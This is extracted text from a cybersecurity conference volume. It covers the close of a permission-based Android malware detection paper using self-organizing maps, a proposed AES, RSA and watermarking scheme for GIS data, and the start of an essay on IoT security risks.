The collected Android apps are in .APK format which are not directly readable to
the users. To make these apps readable, we have to transform these apps into
readable format. This transformation of APK files has been achieved by doing
reverse engineering. APK tool [12] is used for transformation of APK files. APK
tool transforms app nearly to its original form. One can modify the app and rebuild
that app. It debugs Smali code step by step [15]. Generally, modifications are made
to add some features. But attacker adds malicious code and rebuilds the app to harm
the user.
234 A. Sharma and A. Doegar

3.2 Broad Static Analysis

All smartphones which are based on Android operating system have different
capabilities, for example, some devices support cellular data networks while others
only support Wi-Fi. Android deals with variety of features. The static analysis
inspects given Android app without execution and extract as many as possible
permissions. Every Android app must include a manifest file called as
AndroidManifest.xml. This single file provides complete information that supports
the installation and later execution of the application. Android app needs some
functionality like reading SMS, sending SMS, making call, using camera, etc. It is
mandatory to protect this functionality from unauthorized use. Android permissions
have been created to protect these functionalities. Every app has a set of permission
which user accepted at install time. The extracted permission has been helpful and
meaningful to construct the model. The appropriateness of extracted features affects
the result. The features have been extracted from Android manifest file of an
app. For an example, if Android app wants to access the complete information of a
network, the following is declared in Android manifest file:
<uses-permission android: name = “android.permission.ACCESS_NETWORK_
STATE”/>
To declare a permission <uses-permission> tag is used.

3.3 Feature Embedment

The extracted features have been mapped into a vector space. An input vector has
been made corresponding to an app permission set. The requested permission has
been expressed in the form of a bit string. Every app permission has been stored in
binary (0, 1) format. If feature vector is represented by F, then


1 if and only if the ith permission requested
Fi ¼
0 otherwise

For example, an app is represented as the bit string [0, 0, 1, 1, 1] if it requested

feature 3, 4, and 5 but not 1 and 2. The detailed description and construction of
model are covered as follows:
Permission is the most recognizable security feature in Android apps. User
cannot install an app until they will not accept permission because it is key factor to
install app. Once user accepts permission, the particular app has been installed in
user device. An attacker also needs user acceptance to get their app installed in user
device. The malicious app looks like other non-malicious app, but attacker adds
some additional features which affect the normal processing of an app. Hence,
Permission-Set Based Detection and Analysis … 235

attacker adds additional non-related permissions in permission set to do harmful

activity without user consent.

3.4 Self-organizing Feature Map Based Visualization

The permission-based model has been trained using Self-Organizing Maps (SOM).
SOM is trained using unsupervised learning to produce a low-dimensional (typi-
cally two-dimensional) view of data [13].
SOM Algorithm [9]  
Step 1: Initialize neuron weights wi ¼ wi1 ; wi2 ; . . .; wij 2 R. To initialize the
Neuron weights, random numbers have been used. 
Step 2: Load an input pattern x ¼ x1 ; x2 ; . . .; xj 2 M. Here, M can be any three
models M 2 [Permission-based]. Distance between pattern x, and each neuron
weight wi, has been calculated and winning neuron or best matching neuron c has
been identified as follows:

kx  wc k ¼ minfkx  wi kg

Euclidian distance is normalized to range [0, 1].

Step 3: Update weights all neighbor and of winning neuron c

wi ðt þ 1Þ ¼ wi ðtÞ þ hci ðtÞ½xðtÞ  wi ðtÞ;

where

i neighbor neuron index

t integer, the discrete time coordinate
hci(t) is a neighborhood kernel function of time and distance between neighbor
neuron i and winning neuron c. hci(t) defines the region of influence that the
input pattern has on the SOM
!
jjðrc  ri Þjj2
hci ðtÞ ¼ exp aðtÞ;
2r2 ðtÞ

where
rc and ri are positions of neurons and on the SOM grid
a(t) learning rate function
(t) defines the width of the kernel
Both a(t) and r(t) decrease monotonically with time.
236 A. Sharma and A. Doegar

Step 4: Repeat steps 2–3 until the convergence criterion is satisfied.

The permission-based model has been trained with the help of SOM. SOM
provides interesting pattern which helps to determine the maliciousness of an
app. This interesting pattern occurred because SOM makes cluster on the basis of
feature similarity.

3.5 Performance Measures [14]

To predict the accuracy of machine-learning based algorithms, there are several

classifiers available in literature. In context to abovementioned problem, the per-
formance measure is as follows:
Let nben!ben be the number of benign application correctly classified as benign

nben!mal be the number of misclassified benign applications

nmal!mal be the number of malicious applications correctly classified as

malicious

nmal!ben be the number of misclassified malicious applications

nmal!mal
True Positive Ratio ðTPRÞ ¼ ð1Þ
nmal!ben þ nmal!mal
nben!mal
False Positive Ratio ðFPRÞ ¼ ð2Þ
nben!mal þ nben!ben

Accuracy (ACC): The accuracy of a classifier refers to the ability of a given

classifier to correctly predict the class label of new or previously unseen data.

nben!ben þ nmal!mal
ACC ¼ ð3Þ
nben!ben þ nben!mal þ nmal!ben þ nmal!mal

4 Performance Evaluation

In order to verify the proposed approach, the constructed permission-based model

has been verified against a collection of 400 samples, 200 from each category, i.e.,
benign and malicious. Result has been based on multiple numbers of tests. The
evaluation of the permission-based model has been based on the performance
measures. Performance measures are true positive rate, false positive rate, and
accuracy as discussed in Sect. 3.5.
Permission-Set Based Detection and Analysis … 237

Fig. 1 Permission-based Permission-based Model

model 100%

80%

Percentage
60%
TPR
40%
FPR
20% ACC

0%
TPR FPR ACC
Performance Measure

Figure 1 depicts the results that show the average detection rate for new Android
malware by Android malware. The permission-based model achieved good detec-
tion rate. In permission-based model, filtering is done only on the bases of per-
mission set which gives TPR, FPR, and ACC 91, 9, and 90%, respectively.

5 Conclusion

This paper proposes a novel approach for detecting potential Android malicious
apps using Self-organizing Maps (SOM). Self-organizing map is an unsupervised
clustering method; no prior information about class labels has been required. SOM
detect and analyze new Android apps based on their feature similarity. The
permission-based model has been investigated to detect malwares present in
Android apps. In order to build the permission-based model, all the permissions
have been extracted from a large number of benign and malicious APK files. APK
files are not human readable file and feature cannot be directly extracted from these
APK files. The APK tool has been used to transform the APK files into readable
format and to extract features. The permission-based model has been constructed by
extracting features from 400 benign apps and 400 malicious apps. To test
permission-based model, total 400 apps (200 from benign dataset and 200 from
malware dataset) have been used.
The evaluation of models is done using performance measures such as True
Positive Rate (TPR), the False Positive Rate (FPR), and Accuracy (ACC).
The TPR, FPR, and ACC of model are 91, 9, and 90%, respectively, which is better
than existing approaches.
238 A. Sharma and A. Doegar

References

1. Idika N, Mathur AP (2007) A survey of malware detection techniques. Department of

Computer Science, Purdue University, West Lafayette, IN 47907, pp 1–48, Feb 2007
2. Sharma A, Doegar A (2015) Review of malware detection and analysis for android
environment using data mining techniques. In: Proceedings of national conference on
computing technologies, national institute of technical teachers training and research,
Chandigarh, CT31, pp 30–31, Mar 2015
3. Cooper VN, Shahriar H, Haddad HM (2014) A survey of android malware characteristics and
mitigation techniques. In: Proceedings of 11th IEEE international conference on InfoTech:
new generations, USA, pp 327–332
4. Thanh HL (2013) Analysis of malware families on android mobiles: detection characteristics
recognizable by ordinary phone users and how to fix it. J Inf Secur (JIS) 4(4):213–224
5. Zhou Y, Jiang X (2012) Dissecting android malware: characterization an evolution. IEEE
Symposium on Security and Privacy, San Francisco, pp 95–109
6. Felt AP, Finifter M, Chin E, Hanna S, Wagner D (2011) A survey of mobile malware in the
wild. In: Proceedings of 1st ACM conference of security and privacy in smartphone and
mobile devices (SPSM), USA, pp 3–14
7. Liu X, Liu J (2014) A two-layered permission-based android malware detection scheme. In:
Proceedings of 2nd IEEE international conference on mobile cloud computing, services, and
engineering, UK, pp 142–148
8. Sanz B, Santos I, Laorden C, Ugarte-Pedrero C, Bringas PG, Álvarez G (2013) PUMA:
permission usage to detect malware in android. In: International joint conference, vol 189, no
1. Heidelberg, pp 289–298
9. Barrera D, OOrschot PCV, Kayacil HG, Somayaji A (2010) A methodology for empirical
analysis of permission-based security models and its applications to android. In: Proceedings
of the 17th ACM conference on computer and communication security (CSS), USA, pp 73–
84, Oct 2010
10. Official Google Play Store. Online available: https://play.google.com/store?hl=en. Last
accessed: 09 May 2015
11. Android Sandbox. Online available: http://www.androidsandbox.net/samples/01.2015/. Last
accessed: 03 Dec 2014
12. APK Tool. Online available: https://code.google.com/p/android-apktool/. Last accessed: 22
Feb 2015
13. Self organizing map. Online available: http://en.wikipedia.org/wiki/Self-organizing_map/.
Last accessed: 3 Mar 2015
14. Wu DJ, Mao CH, Wei TE, Lee HM, Wu KP (2012) DroidMat: android malware detection
through manifest and API calls tracing. In: Proceedings of 7th Asia joint conference on
information security, Tokyo, pp 66–69, Aug 2012
15. Performance Measures. Online available: http://en.wikipedia.org/wiki/Sensitivity_and_
specificity/. Last accessed: 17 Jan 2015
Permission-Set Based Detection and Analysis … 239

Author Biographies

Aditi Sharma received the B.E. degree in Computer Engineering

from Punjabi University Patiala, Patiala, India and M.E. in
Computer Science and Engineering from Panjab University,
Chandigarh, India. Research interest includes network security
and malware analysis.

Amit Doegar received the B.E. degree in Computer Science

Engineering from Karnatak University, Dharwar, India and M.E.
in Computer Science and Engineering from Panjab University,
Chandigarh, India. Research interest includes computer net-
works, image processing, virtual learning, and open-source
technology.
Three-Level GIS Data Security:
Conjointly Cryptography
and Digital Watermarking

Monika Bansal and Akanksha Upadhyaya

Abstract Geographic Information System (GIS) plays a vital role in many appli-
cations especially in military operations as they need to be spatial in nature.
Successful application of military operations demands for accuracy of information
and quick decisions taking steps. GIS has now become the most powerful medium
for sharing of military information to officers and commanders. In the era of digital
communication, officers use GIS to deliver their strategic plans to intended officers
[5]. GIS has proven to be an excellent tool for enforcement and deployment of
security mechanisms in military applications and to deliver confidential information
at distant locations. In our proposed system, we will introduce a new mechanism to
protect GIS data carrying confidential and sensitive data for military and army
purpose by combining two of the cryptography algorithms: Advanced Encryption
Standard (AES) and RSA with digital watermarking techniques.

Keywords GIS
Cryptography
Digital watermarking
AES

RSA

1 Introduction

Experts have long been recognized the importance of GIS in military and com-
mercial application. The GIS data has two important properties. First, the effort it
takes to put it in a suitable form for use in the GIS applications. This effort increases
its cost. Second, GIS data contains confidential and sensitive information most of
the time and it needs to be kept away from unauthorized users. Two possible threats
for GIS data are as follows:

M. Bansal (&)
A. Upadhyaya

Rukmini Devi Institute of Advanced Studies, Delhi, India
e-mail: [email protected]
A. Upadhyaya
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 241

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_24
242 M. Bansal and A. Upadhyaya

1. Illegal duplication and distribution—As GIS data is expensive and sensitive by

nature, third parties used to make copies of this data by purchasing some layers
of GIS and later sell them without taking any permission from original GIS data
provider.
2. Unauthorized access—The act of accessing and tampering of data is done by
intruder while information is being transmitted over untrusted communication
channel.
The proposed system introduced in this paper is an attempt to solve these
security problems in relation to GIS data.

2 Organization of Paper

Paper is organized into seven sections. Section 3 gives applications and limitations
of cryptography and digital watermarking. In Sect. 4, we discussed security issues
and threats while using GIS data with respect to the past work. We introduced and
explained our proposed system with the help of flowchart in Sect. 5. At last, the
paper is concluded by its future work.

3 Pros and Cons: Cryptography and Digital

Watermarking

Cryptography, digital watermarking, and many other technologies have been used
to handle security threats. Each of these technologies has its limitations and has
been long used as a weapon to solve security and authentication problems related to
data transmitted over network. Both of these have diversified applications and
usage with different objectives.
Cryptography tries to take care of three important properties of information
including confidentiality, authenticity, and integrity, while it is being transmitted
over public network. It is the method of encryption of original data at sender side
using key and algorithm before being transmitted over Internet and do reverse of the
same process at receiver side. Encryption is the process of converting a readable or
meaningful data in an unreadable and meaningless form. Many algorithms like
AES, RSA, Hashing, etc. used for the same purpose. It is also used for the purpose
of sharing secured data over unsecured network. The efficiency of cryptography
depends on key management and its distribution and not on the algorithm used and
this is one of the biggest security threats with this technique.
Digital watermarking is the method of hiding a digital information into digital
signal like an image, audio, or video signal itself. One of the mostly used appli-
cations of digital watermarking is owner identification. To identify the owner of
specific image or song, copyright information is embedded in the image or song
Three-Level GIS Data Security: Conjointly … 243

itself. Other applications of digital watermarking include tampering detection,

fingerprinting, broadcast monitoring, etc. [4].
The major limitation of digital watermarking is the manipulation of innocent
image including cropping, color variations, rotations, lossy compression, etc.
Moreover, some of the features of original image like color, texture, pixel’s width,
etc. get changed by digital watermarking to embed data or confidential information
into it. Changing the features of image distorts the image, and many times it
becomes very difficult to recover original image from the distorted image. Also, it
cannot protect the GIS data and confidential information from access by unau-
thorized users.
A more secure system could be built by linking digital watermarking with
cryptography. Security can be enhanced for broadcasting of such a sensitive and
confidential data like GIS data by this method.

4 Related Work

From the past many years, GIS has been used by government agencies to transfer
information. Earlier, professionals used to identify threats, plan resource deploy-
ments, and map potential action and contingency plans with the help of GIS. Also,
for drawing and printing maps and for building of information desktop, applications
were widely used. However, nowadays, the GIS platform allow users the ability to
access confidential information and to use of maps in any easy manner in 24  7
from anywhere to anywhere and also on any network [3]. Being of its capability to
deliver confidential and secret information, GIS is used by military forces in a
variety of applications including terrorist activities monitoring, remote sensing,
borderlines monitoring, order enforcement at battlefield, etc. The work that has
been done in this area is mostly based on digital watermarking [6, 7]. Watermarking
is a process of obtaining a digital watermarked file by embedding hidden infor-
mation (watermarking pattern or watermark for simplicity) like copyright string in a
dataset without producing perceptible changes in the data using a suitable water-
marking algorithm [1].

5 Proposed System

The proposed algorithm is designed with an objective to provide a method for

secure communication of confidential and sensitive information in the form of
digital data like images including maps, shape files, etc. along with copyright
messages over a network. The proposed model employs digital watermarking with
cryptography having two levels of AES and one level of RSA. Several techniques
are used for digital watermarking. Our proposed system uses least significant bit
embedding technique in which any bit of integer part of the selected coordinates of
244 M. Bansal and A. Upadhyaya

Fig. 1 Encryption at sender side

image is extracted and used [2]. The sequence of steps taken at sender and receiver
side is shown as (Figs. 1, 2).

Encryption Algorithm (i,w)

Input: i = original image, w = original message

Step 1:
1.1 Extract LSB from i using function Ex(f).
1.2 Apply 128-bit AES on w by using encryption function, En(w).
Step 2: Apply composite function to embed encrypted message and extracted
features into image i, i.e.
x = comp(Ex(f), En(w), i)
Step 3: Encrypt i using 128-bit AES encryption function, En(i).
Step 4: Apply composite function again on data structures obtained from
step 2 and 3.
y = comp(x, En(i))
Step5: Obtain final message product p being ready to transmit over insecure
channel by encrypting y using RSA encryption function, i.e. p = En(y)

5.1 Explanation

The whole process of encryption and decryption passes through three stages of
encryption at sender side and decryption at receiver side. At first stage, message
which is to be sent by embedding it into an original image is encrypted using
128-bit AES algorithm in parallel extraction of least significant bits from original
Three-Level GIS Data Security: Conjointly … 245

Fig. 2 Decryption at receiver side

image coordinates so that composition function can be applied over them.

Extracting LSB helps in storing information of the image like checksum, com-
pressed bits, etc.; here, in the proposed system checksum is stored in LSB for
verification at other end. If at the other end the value of checksum founds to be
different, then it can be identified that image has been tampered. After applying the
composition function, comp(Ex(f), En(w), i), we get composite image, x, which is a
combination of encrypted message, En(w), and extracted features (first bit of
coordinates), Ex(f). In the second stage, complete product, y, gets obtained by
combining the composite image with an encrypted original image being obtained
after using 128-bit AES algorithm over it. Now, this envelope will hold composite
image, x, and encrypted image, En(i). At last, the complete product will again get
encrypted; using RSA algorithm, public key will be transmitted over the network
for the user(s).
246 M. Bansal and A. Upadhyaya

Decryption Algorithm (p)

Input: p = Encrypted message product received from insecure communication

channel
Step 1: Decrypt p using RSA algorithm, y = De(p).
Step 2: Apply decomposed function, decomp on the decrypted message product
y, obtained from step 1.
(x, En(i)) = decomp(y)
Step 3: Obtain image i by decrypting En(i) using 128-bit AES algorithm and
in parallel apply decomposed function on x to get encrypted message En
(w),
extracted features Ex(f) and another copy of original image say j.
i = De(En(i))
(j, En(w), Ex(f)) = decomp(x)
Step 4: Decrypt message using 128-bit AES algorithm, i.e. w = De(En(w)).
Step 5: Compare both copies of image stored in data structure i and j
respectively with extracted features Ex(f) and check whether the image has
been tampered or in the original form.
If LSB(i) = LSB(j) = Ex(f)
Then
“Image not tampered”
Else
“Image tampered”

5.2 Explanation

Similarly, at receiver end decryption process will be applied. First, the complete
encrypted product, p, gets decrypted using RSA and then decompose into two parts
x and En(i) (selected bits of the coordinates). Now, x will be decomposed by
applying decomposition function on x, and hence we will get Ex(f), En(w), and
copy of original image, j. Next, both encrypted message, En(w), and encrypted
image, En(i), get decrypted using 128-bit AES algorithm. This decrypted copy is an
another copy of the same original image, say i. Now by comparing the extracted
feature (bits) with features of both of these copies of original image, i and j, we can
easily judge whether the image being received is distorted or not.
Three-Level GIS Data Security: Conjointly … 247

6 Conclusion

Under this research paper, we proposed a system that provides security at three
levels. If an intruder is somehow able to decrypt the data at any of these levels, then
it will be very difficult to decrypt at all levels. We have provided the security mix of
symmetric and asymmetric cryptography that increases the security of the system.
The proposed system can be used in the applications where sensitive information is
needed to be transferred.

7 Future Scope

In this research paper, we have just proposed a system that could be implemented
for providing efficient security to the organizations, businesses, military, medical,
etc. Although the system provides security at three stages using symmetric as well
as asymmetric algorithm, however, the use of other asymmetric algorithm for final
stage could make system more secure, efficient, and accountable. Since the pro-
posed system does not support any experimental data set, hence, it needs to be
implemented for its actual result with strong mathematical foundation, comparing it
with other algorithms on the basis of parameters like performance, efficiency, and
complexity.

References

1. Abbas TA, Jawad MJ (2013) Proposed an intelligent watermarking in GIS environment.

J Earth Sci Res (JESR) 1(1):1–5
2. Cox I, Miller M, Bloom J, Fridrich J, Kalker T (2007) Digital watermarking and steganography
(2nd edn). USA: Morgan Kaufmann
3. Dakroury Y, EI-ghafar IA, Tammam A (2010) Protecting GIS data using cryptography and
digital watermarking. Int J Comput Sci Netw Secur (IJCSNS) 10(1):75–84
4. Wayner P (2008) Disappearing cryptography: information hiding: steganography & water-
marking (3rd edn). USA: Morgan Kaufmann
5. White Paper (2014) GIS platform for national security. http://www.esri.com/library/
whitepapers/pdfs/gis-platform-for-national-security.pdf
6. Wolthusen S (1998) On the limitations of digital watermarks: a cautionary note. Available at
http://www.wolthusen.com/publications/SCI1998.pdf
7. Satyanarayana P, Yogendran S, Military applications of GIS. http://geospatialworld.net/Paper/
Technology/ArticleView.aspx?aid=908
Digital Security: An Enigma

Avijit Dutta

Abstract The subject security has wide coverage and it is growing with every
passing day. As civilization progressed from Agrarian to semi-industrialization,
advanced industrialization and finally to present ICT (Information and
Communication Technology) age, concerns for security are increasingly taking in
all objects from physical to digital. It augmented apprehensions from losing
material wealth to most abstract entities like wealth of knowledge in digital form.
Today’s technology allows wired and wireless access to tangible and intangible
resource-built ups (material to digital), digitally, and steal the same if need arises.
The riddle is to defend our own resources from the rapacious hand of ubiquitous
computing and communicating technology evolved by us. The art and science of
hiding and securing precious resources from possible predators in physical or
digital forms make it complex and challenging. The enigma remains in the fact that
predator uses same technology and at times also makes rule that prevails over
others.

Keywords Collective intelligence
IoT (Internet of Things)
Ubiquitous

computing Web square

1 Introduction

Technology integration and its standardization have put civilization on fast track.
From ‘agrarian’ to ‘semi-industrialization’, ‘industrialization’, ‘advanced industri-
alization’ and finally to ‘digital age’, the journey so far has been exciting.
Innovations across different subject areas cooperate amongst themselves to make
ways for new novelty. Weiser [1, 2] may have closely followed advances in
computing hardware, system software and programming techniques during 90s
to visualize the phenomena of ubiquitous computing, which now is a reality.

A. Dutta (&)
NIC, New Delhi, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 249

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_25
250 A. Dutta

Broadly, three factors have driven computing technology to ubiquity. First to name
is ‘Miniaturization’, which is a trend to manufacture ever smaller mechanical, optical
and electronic products and devices. Second to mention is ‘Standardization’, which is
the process of developing and implementing technical standards that helps to max-
imize compatibility, interoperability, safety, repeatability or quality. Third to mention
is ‘Digital Communication’, which evolved over packet switch networking tech-
nologies, mostly adhering to TCP/IP protocol standards. This allows data exchange
between computing devices over wired or wireless network. At the advent of TCP/
IP-related protocol like HTTP (Hypertext Transfer Protocol), World Wide Web
(WWW) became a reality leading to web 1.0 paradigm, which allowed viewing vast
amount of static information on web, advancing data disseminations practices,
leading to dot-com era. Initial enthusiasm died down as viewers could not participate
in the process, thus followed occurrence of dot-com burst. Web 2.0, which is
interactive, revived web and took it to today’s state of booming activities where
everyone is keen to participate. In exponentially expanding web scenario, the
exemplar that may follow web 2.0 is a subject of any one’s guess now! To some, it is
web 3.0, simply as next version standard, with more advanced technical facilities. For
others, it is ‘Web Square’, the name and concept popularized by Tim O’Reilly and
John Battelle. Progression of events allowed Tim O’Reilly, at a later date, to talk
about IoT (Internet of Things) and collective intelligence [3]. He, during early years
of twenty-first century, could visualize flooding of Internet usages with sensors and
devices leading all to an era of nomadic and yet interactive WEB [1, 2, 4–6].
It was expected that the number of such devices would grow exponentially to
guide technology to next-generation usages. These sensors and devices singularly
termed as IoT are designed to add intelligence to everything from commonplace
consumer items, home appliances, private or public utility systems, industrial items,
healthcare system, education, agriculture and everything in between, even to rail-
road ties on big or small deals. ‘IoTs’ collects and broadcasts data across networks,
enabling the data to be analysed on it or remote servers to add values and share.
This approach changed the very way life and business processes were hitherto
accomplished, leading to an archetype shift from physical to digital course of
functioning [7–11].
Technology advances ushered era of first, second, third and fourth generations of
computing. During this period, human–computer interactions shifted from ‘One
Machine many users’ to ‘One user One Machine’ and finally to ‘Many Machine
Many User’ setups. Digital computing stepped out from closed realm of scientists
and academicians to arrive at the doorstep of common users. As discussed earlier
technology integration, its standardization and digital communication steered us to
the era of WWW and Internet. Broadly, evolutionary path of Internet can be viewed
as follows—from years 1969 to 1995 it belonged to hardcore technocrats and
scientists, from 1995 to 2000 it belonged to geeks, from year 2000 to 2007 it
became Internet of masses, from 2007 to 2011 it turned as Internet of mobiles and
from 2012 and days beyond it may evolve into the era of IoT. It may be opined that
emergence of web 1.0 (static web) occurred during Internet of geeks and web 2.0
Digital Security: An Enigma 251

(interactive web) exemplar fructified during subsequent years of innovation and

continues till date [12, 13].
In this process, our wealth perspective enlarged from physical to digital entities.
Amongst all digital devices, smartphones captured imagination of most. Apart from
calling facilities, it possesses seeing and listening capabilities embedded in it. With
a smartphone, all life processes like socializing, shopping, banking, paying bills,
acquiring medical advices, etc. are easily executable. It can also do video and static
photography reasonably well. Being GPS enabled, it can collect and disseminate
location information effectively. After sequential and object-oriented coding stan-
dard, mobile programming is the upcoming programming practice, which offers
bigger provision for interactive programming in web 2.0 ages. The entire effort for a
paradigm shift is to fulfil a very simple desire, to get and remain connected. But
indiscriminate connectivity brings in the risks of security breaches. The brainteaser
is to get and remain connected in a secured way. Present text dwells on this riddle
and attempts to hold a collective view of entire scenario in the following section.

2 Collective Intelligence

The concept of data and the process of its collection, collation and dissemination
have changed largely in the era of web 2.0 [7, 8]. Today, apart from texts, digits,
audio and video, photographs too are taken to mean as data. Keyboard now is not
the only means for data incorporation, interpretation and interaction with digital
objects and Internet. Omnipresent smart devices can look, feel, sense, photograph
objects and store them within a split second instruction at any desired location,
really smartly [3, 6].
Technology miniaturization, standardization and large-scale product manufac-
ture are bringing down the cost of computing and communicating. This has helped
a wide range of computing and communicating devices in terms of size and per-
formance like servers, desktop, laptop, palmtop, smartphones, wearable devices,
etc. to be available in the market. These devices are also armed with seeing,
listening, recording and storing capabilities, which cater to extensive range of data
processing and disbursing needs, helping to bring most on board. These devices
with an identity can be linked amongst themselves and numerous other small or
large smart digital devices, termed singularly as IoT, as discussed earlier, over
varied choices of connectivity options like broadband, Wi-Fi, R/F, Bluetooth, etc.
[14, 15].
The depiction in Fig. 1 (IoT Scenario) attempts to present a window view of the
situation arising out of the increasing presence of IoTs. This helped to enhance the
mass base of smart devices usages. Digital devices are capable now to communicate
intelligently amongst themselves and others in forms like M2M (Machine to
Machine), M2I (Machine to Infrastructure) and M2E (Machine to Environment) in
real time, process data at nodes or cloud deciding almost autonomously and present
the most up-to-date information to us so that we can make the best decisions.
252 A. Dutta

Benson Tao observes that present efforts towards building smart, connected,
autonomous and contextually aware devices around the IoTs will prove to be catalyst
for a change, leading to general betterment. As it turns out, IoT is a very broad
concept, which includes all kind of wearable, carriable, attachable and implantable
and everything in between devices that associates with us in our daily coir.
Interestingly, O’Reilly [3] envisaged today’s Internet as a new born kid, who
looks, touches and feels about the things around with the help of various sensors
(being carried by us), like mobile phones and smart devices, to gather data in audio,
video and text form and processes them to attain a higher state of awareness. It is
increasingly getting intelligent with information gathered by sensors ubiquitously
strewn around, in both static and mobile state and maturing incrementally like any
living objects, though as a virtual entity. In return, it shares the collected data,
information and knowledge whenever these are asked for, inform of an organized
query, over digital network, establishing the concept of collective intelligence.
Worldwide efforts are on to bring most on board, to enrich the process of collective
intelligence and get maximum benefit out of it. Well, there is dark side of this
process too, which is being discussed in following segments.

3 Emerging Challenges

In keeping with Mark Weiser’s view of ‘ubiquitous computing’ concepts, one may
find that Computing and Communicating (C&C) emerged as profound technology
in this era, which has associated with our day-to-day life processes inseparably and
continuing expansion process of its presence exponentially with smart devices
termed as IoTs [1–3]. These phenomena are making fast inroads in our daily

Fig. 1 IoT scenario

Digital Security: An Enigma 253

activities. Broadband routers offer Internet access to devices through Wi-Fi and
Ethernet connections to make today’s home network. Appliances like laptops,
desktop computers and mobile devices, such as phones and tablets can get onto
Internet through broadband router. With the IoTs finding their ways into the homes,
innumerable new devices are produced that can connect to the same network. These
devices are of two types; the first ones get connected through formal networking
technologies as discussed earlier. Others may use different wireless technologies
that suite device needs, conforming to lower energy consumption or ad hoc network
coverage protocols. Nevertheless, everything is connected to the local network and
can communicate freely with one another. Connections to the Internet are directed
through a central router, which may (or may not) always contain basic firewall
filtering functionality [9–11].
It may be known that connected version of different devices, participating in
day-to-day activities, gets onto same network without essential security consider-
ation. Despite increasing acceptance of IoTs, no standards have been planned so far
for the use of these innumerable devices and sensors. They are almost on their own
in the process of establishing connection, exchanging and processing information
on instruction from numerous lawful or unlawful owners. Along with many goodies
that computing ubiquity presents, the offered challenges lie in the fact that the ‘IoT’
today is an abstract collection of uses and products without common agreement or
disagreement on mode of functioning. So, everyone does it their own way, often
poorly, compromising security of connected devices as it greatly lacks an estab-
lished concept of implementation and use. A study of security major like Symantec
Corporation seems to have found that currently there is no single standard protocol
in IoT and ‘security’ is not a word that gets strongly associated with this category of
devices, leaving its consumers potentially exposed [9–11]. The ‘enigma one’ lies in
the fact that these challenges are our own creation and we are forced to face them.
As information highway is being accessed by one and all, gradually concerns are
gaining ground about the co-travellers with whom this highway is being shared!
Symantec, after analysing 50 home devices, during year 2014, has observed that
none of the devices used strong password, enforced mutual authentication practices
or applied defence mechanism against brute-force attacks [10, 11]. It also has found
mobile apps generally do not use Secure Sockets Layer (SSL) to encrypt com-
munications to the cloud. The family of IoT devices possesses vulnerabilities,
which are much in common. Potential weaknesses in authentication and traffic
encryption could badly affect IoT systems. These facts though well known to the
security industry, mitigation processes are not taken good care off.
It is generally felt that IoT vendors need to do more on security before marketing
their product universally, leaving millions of people at risk of cyberattacks. This
leads a feeling that ‘IoT security is still a pipe dream’ [9–11, 15]. The ‘Enigma
Second’ lies in the fact that IoTs are being produced in large numbers with com-
prehensive knowledge about associated security hazards.
The digital security challenge mitigation begins with stopping innumerable
entities approaching digital resources over data communication network, to verify
their credentials and allowing passage, if found acceptable, denying it otherwise.
254 A. Dutta

The process gets multifaceted as advancing objects grows in number and form,
which taxes time and computing resources of approached entity. More often than
not objects seeking access to resources are large, interactive and at times deceptive.
Objects approaching resources constantly change form and advancing tactics to
match the defence mechanism with the intent to crack the same. Real-time detection
of specifics on attack vector is difficult and this leads to security breach.
Authentication and authorization become important at such instances. Digital
resources can be protected with cryptographic techniques and establishment of PKI
(Public Key Cryptographic Infrastructure) system. Steganographic techniques
allowing enveloped exchange of document also come handy for secured data
exchange. Cryptography and steganography putting together can provide robust
defence mechanism against predators during digital document exchange. Enigma
Third’ lies in the fact that for the defence of our ever evolving resources, eternally
new mechanism needs to be explored. In the following section, collective effect of
enigmas around ‘Digital Security’ is further discussed.

4 Enigma

Collectively, the digital security enigma lies in the fact that we are defensive against
our own creation and in a way we are creating our own space for both security and
insecurity. Adding to woes are the facts that lessons on computer hacking are
included officially in course curriculum of many national and international uni-
versities. Today, the attacker and defender use same or equivalent technologies and
at times they appear like either side of the same coin. Like for cryptography there is
cryptanalysis, for steganography there is steganalysis and so on. Moving on one
may even find that the perception of cybercrime is relative to geographical or
political jurisdiction. The inherent view that hacking others network is fair, getting
hacked is not, is scaring [8].
Financial sites of many institutions and well-offs are recurrently hacked by less
fortunate for instant monetary gains using advanced C&C technologies. Scientific
and Defence research sites of many advanced countries are being routinely intruded
these days for a fast track course to new knowledge, while gainers appreciate the
act, losers strongly denounce it. This has compelled many original equipment
manufacturing countries to embed cyber sniffing tools, in both hardware and
software systems, which are difficult to shake off, so as to pre-empt movement of
cyber predators [9–11]. It ensures (!) security breach even with best defence
mechanism up front as the attack can be initiated from either side of the system.
Fact remains that resourceful and militarily powerful countries cyber-snoops
friends and foes including close allies, all alike. IoTs have made the process even
simpler. These devices have made even our residential places vulnerable. Gartner
research predicts that there will be more than 2.9 billion connected IoT devices in
consumer smart home environments in 2015. These connected devices could pro-
vide a much larger surface for attackers to target home networks. IoTs are wearable,
Digital Security: An Enigma 255

Table 1 Scope for security lapses

1 Insufficient authentication/authorization 6 Insecure cloud interface
2 Insecure web interface 7 Insecure mobile interface
3 Insecure network services 8 Insufficient security configurability
4 Lack of transport encryption 9 Insecure software/firmware
5 Privacy concerns 10 Poor physical security

implantable, transferable and easily accessible, turning away complex defence

technicalities. So these objects can be accessed and used by both predators and
defenders with reasonable ease [10, 11].
It has been observed that most IoTs have very weak password management. This
apart from some of these devices which are without keyboard, passwords are
managed remotely. More often than not users continue to use default password
making them vulnerable to cyberattack.
Proof of concept for most IoT attacks already exists, like remotely accessing
onboard computer of an aircraft to alter scheduled flying course, a home network
for permanent anchoring and to create unwarranted surprises, a pacemaker to affect
health of person and the count goes on. Possibilities to derive financial objectives
from such attacks are not very remote. Symantec list of Top Ten IoT Vulnerabilities
is indicated by Open Web Application Security Project’s (OWASP), which sums up
most of the concerns and attack vectors surrounding this category of devices. These
are given in Table 1 [8, 10, 11].
Enigma remains in the fact that at this backdrop demands for secured access to
Internet, its usages are encouraged and number of people accessing digital network
is growing with every passing day. To encourage it, further issues related to net
